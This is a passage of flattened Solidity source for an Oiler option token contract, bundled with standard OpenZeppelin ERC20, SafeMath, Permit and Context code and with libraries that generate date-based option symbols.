__Context_init_unchained(); __ERC20_init_unchained(this.name(), _symbol); __ERC20Burnable_init_unchained(); __EIP712_init_unchained(this.name(), "1"); __ERC20Permit_init_unchained(this.name()); collateralInstance = IOilerCollateral(_collateralAddress); _setupDecimals(IOilerCollateral(_collateralAddress).decimals()); emit Created(address(this), this.symbol()); } function _write( uint256 _amount, address _writer, address _holder ) internal { require(isActive(), "Option.write: not active, cannot mint"); _mint(_holder, _amount); writerBalances[_writer] = writerBalances[_writer].add(_amount); bool success = collateralInstance.transferFrom(msg.sender, address(this), _amount); require(success, "Option.write: collateral transfer failed"); } function _exercise(uint256 price) internal { // (from vanilla option lingo) if it is a PUT then I can sell it at a higher (strike) price than the current price - I have a right to PUT it on the market // (from vanilla option lingo) if it is a CALL then I can buy it at a lower (strike) price than the current price - I have a right to CALL it from the market if ((put && strikePrice >= price) || (!put && strikePrice <= price)) { exercised = true; emit Exercised(price); } else { revert("Option.exercise: exercise conditions aren't met"); } } /// @dev Returns the smallest of two numbers. function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; import {DateTime} from "./DateTime.sol"; // SAFEMATH DISCLAIMER: // We and don't use SafeMath here intentionally, because input values are based on chars arithmetics // and the results are used solely for display purposes (generating a token SYMBOL). // Moreover - input data is provided only by contract owners, as creation of tokens is limited to owner only. library GenSymbol { function monthToHex(uint8 m) public pure returns (bytes1) { if (m > 0 && m < 10) { return bytes1(uint8(bytes1("0")) + m); } else if (m >= 10 && m < 13) { return bytes1(uint8(bytes1("A")) + (m - 10)); } revert("Invalid month"); } function tsToDate(uint256 _ts) public pure returns (string memory) { bytes memory date = new bytes(4); uint256 year = DateTime.getYear(_ts); require(year >= 2020, "Year cannot be before 2020 as it is coded only by one digit"); require(year < 2030, "Year cannot be after 2029 as it is coded only by one digit"); date[0] = bytes1( uint8(bytes1("0")) + uint8(year - 2020) // 2020 is coded as "0" ); date[1] = monthToHex(DateTime.getMonth(_ts)); // October = 10 is coded by "A" uint8 day = DateTime.getDay(_ts); // Day is just coded as a day of month starting from 1 require(day > 0 && day <= 31, "Invalid day"); date[2] = bytes1(uint8(bytes1("0")) + (day / 10)); date[3] = bytes1(uint8(bytes1("0")) + (day % 10)); return string(date); } function RKMconvert(uint256 _num) public pure returns (bytes memory) { bytes memory map = "0000KKKMMMGGGTTTPPPEEEZZZYYY"; uint8 len; uint256 i = _num; while (i != 0) { // Calculate the length of the input number len++; i /= 10; } bytes1 prefix = map[len]; // Get the prefix code letter uint8 prefixPos = len > 3 ? ((len - 1) % 3) + 1 : 0; // Position of prefix (or 0 if the number is 3 digits or less) // Get the leftmost 4 digits from input number or just take the number as is if its already 4 digits or less uint256 firstFour = len > 4 ? _num / 10**(len - 4) : _num; bytes memory bStr = "00000"; // We start from index 4 ^ of zero-string and go left uint8 index = 4; while (firstFour != 0) { // If index is on prefix position - insert a prefix and decrease index if (index == prefixPos) bStr[index--] = prefix; bStr[index--] = bytes1(uint8(48 + (firstFour % 10))); firstFour /= 10; } return bStr; } function uint2str(uint256 _num) public pure returns (bytes memory) { if (_num > 99999) return RKMconvert(_num); if (_num == 0) { return "00000"; } uint256 j = _num; uint256 len; while (j != 0) { len++; j /= 10; } bytes memory bStr = "00000"; uint256 k = 4; while (_num != 0) { bStr[k--] = bytes1(uint8(48 + (_num % 10))); _num /= 10; } return bStr; } function genOptionSymbol( uint256 _ts, string memory _type, bool put, uint256 _strikePrice ) external pure returns (string memory) { string memory putCall; putCall = put ? "P" : "C"; return string(abi.encodePacked(_type, tsToDate(_ts), putCall, uint2str(_strikePrice))); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC20Permit} from "@openzeppelin/contracts/drafts/IERC20Permit.sol"; interface IOilerCollateral is IERC20, IERC20Permit { function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../utils/ContextUpgradeable.sol"; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { using SafeMathUpgradeable for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../utils/ContextUpgradeable.sol"; import "./ERC20Upgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable { function __ERC20Burnable_init() internal initializer { __Context_init_unchained(); __ERC20Burnable_init_unchained(); } function __ERC20Burnable_init_unchained() internal initializer { } using SafeMathUpgradeable for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.5 <0.8.0; import "../token/ERC20/ERC20Upgradeable.sol"; import "./IERC20PermitUpgradeable.sol"; import "../cryptography/ECDSAUpgradeable.sol"; import "../utils/CountersUpgradeable.sol"; import "./EIP712Upgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20PermitUpgradeable is Initializable, ERC20Upgradeable, IERC20PermitUpgradeable, EIP712Upgradeable { using CountersUpgradeable for CountersUpgradeable.Counter; mapping (address => CountersUpgradeable.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private _PERMIT_TYPEHASH; /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ function __ERC20Permit_init(string memory name) internal initializer { __Context_init_unchained(); __EIP712_init_unchained(name, "1"); __ERC20Permit_init_unchained(name); } function __ERC20Permit_init_unchained(string memory name) internal initializer { _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); } /** * @dev See {IERC20Permit-permit}. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256( abi.encode( _PERMIT_TYPEHASH, owner, spender, value, _nonces[owner].current(), deadline ) ); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSAUpgradeable.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _nonces[owner].increment(); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // Stripped version of the following: // https://github.com/pipermerriam/ethereum-datetime pragma solidity 0.7.5; pragma experimental ABIEncoderV2; // SAFEMATH DISCLAIMER: // We and don't use SafeMath here intentionally, because all of the operations are basic arithmetics // (we have introduced a limit of year 2100 to definitely fit into uint16, hoping Year2100-problem will not be our problem) // and the results are used solely for display purposes (generating a token SYMBOL). // Moreover - input data is provided only by contract owners, as creation of tokens is limited to owner only. library DateTime { struct _DateTime { uint16 year; uint8 month; uint8 day; } uint256 constant DAY_IN_SECONDS = 86400; // leap second? uint256 constant YEAR_IN_SECONDS = 31536000; uint256 constant LEAP_YEAR_IN_SECONDS = 31622400; uint16 constant ORIGIN_YEAR = 1970; function isLeapYear(uint16 year) public pure returns (bool) { if (year % 4 != 0) { return false; } if (year % 100 != 0) { return true; } if (year % 400 != 0) { return false; } return true; } function leapYearsBefore(uint256 year) public pure returns (uint256) { year -= 1; return year / 4 - year / 100 + year / 400; } function getDaysInMonth(uint8 month, uint16 year) public pure returns (uint8) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { return 31; } else if (month == 4 || month == 6 || month == 9 || month == 11) { return 30; } else if (isLeapYear(year)) { return 29; } else { return 28; } } function parseTimestamp(uint256 timestamp) public pure returns (_DateTime memory dt) { uint256 secondsAccountedFor = 0; uint256 buf; uint8 i; // Year dt.year = getYear(timestamp); buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf; secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf); // Month uint256 secondsInMonth; for (i = 1; i <= 12; i++) { secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year); if (secondsInMonth + secondsAccountedFor > timestamp) { dt.month = i; break; } secondsAccountedFor += secondsInMonth; } // Day for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) { if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) { dt.day = i; break; } secondsAccountedFor += DAY_IN_SECONDS; } } function getYear(uint256 timestamp) public pure returns (uint16) { require(timestamp < 4102444800, "Years after 2100 aren't supported for sanity and safety reasons"); uint256 secondsAccountedFor = 0; uint16 year; uint256 numLeapYears; // Year year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS); numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears; secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears); while (secondsAccountedFor > timestamp) { if (isLeapYear(uint16(year - 1))) { secondsAccountedFor -= LEAP_YEAR_IN_SECONDS; } else { secondsAccountedFor -= YEAR_IN_SECONDS; } year -= 1; } return year; } function getMonth(uint256 timestamp) external pure returns (uint8) { return parseTimestamp(timestamp).month; } function getDay(uint256 timestamp) external pure returns (uint8) { return parseTimestamp(timestamp).day; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on 